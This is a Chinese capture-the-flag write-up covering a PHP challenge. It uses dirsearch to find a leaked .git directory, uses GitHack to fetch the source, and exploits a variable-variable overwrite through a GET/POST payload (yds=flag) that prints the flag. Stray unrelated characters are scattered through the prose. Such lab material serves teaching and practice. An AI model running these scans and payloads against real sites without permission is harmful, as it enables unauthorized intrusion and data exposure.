題目
圖片.png
過程
1.需要用到dirsearch和githack塑陵,項(xiàng)目已經(jīng)部署在gihub上,直接git clone url就可以下載
https://github.com/maurosoria/dirsearch
https://github.com/BugScanTeam/GitHack
2.dirsearch掃描目錄憔涉,發(fā)現(xiàn)存在源碼泄露
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt
圖片.png
3.使用Githack下載
<?php
include'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_GET as $x => $y){ //get傳值
$$x = $$y; //漏洞在這里 比如輸入 yds=flag 相當(dāng)于 $yds=$flag
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //判斷get傳進(jìn)來的值等不等于flag 如果等于flag則跳過
exit($handsome);
}
}
//檢測(cè)get是否為flag 或者post是否為flag 必須兩方都為假 否則輸出$yds
//通過這里我們就可以結(jié)合前面的來構(gòu)造 既然要輸出$yds所以我們想辦法讓$flag的值賦值給$yds
//構(gòu)造yds=flag GET傳輸 在經(jīng)過第一個(gè)foreach的時(shí)候進(jìn)行了賦值 等于進(jìn)行了這樣的一個(gè)操作$yds=$flag
//所以這個(gè)條件為真就可以輸出flag了骏融。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
//
//檢測(cè)POST flag是否為flag 或者get 是否為flag //至少有一個(gè)為真則為真
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
?>
分析一下代碼邏輯
forsearch:
post傳參和get傳參的參數(shù)鍵名和值
首先我們post:$flag=flag
foreach($_POST as $x => $y){
$$x = $y;
}
簡(jiǎn)單好理解一點(diǎn),我們直接帶入第一行后再比較第二行
這樣就變成了$$flag = flag
接下來GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
$x
為yds懂版,$y
為flag鹃栽,所以$$x
表示$yds
,$$y
也就是$flag
躯畴,$flag
就是真正的flag{XXXXXX}民鼓。$$x
=$$y
,也就是$yds
=flag{XXXXXX}蓬抄。
看源碼
只要沒有flag參數(shù)丰嘉,就會(huì)exit($yds
),就可以得到flag了嚷缭。
4.payload
get:yds=flag
post:$flag=flag
圖片.png
圖片.png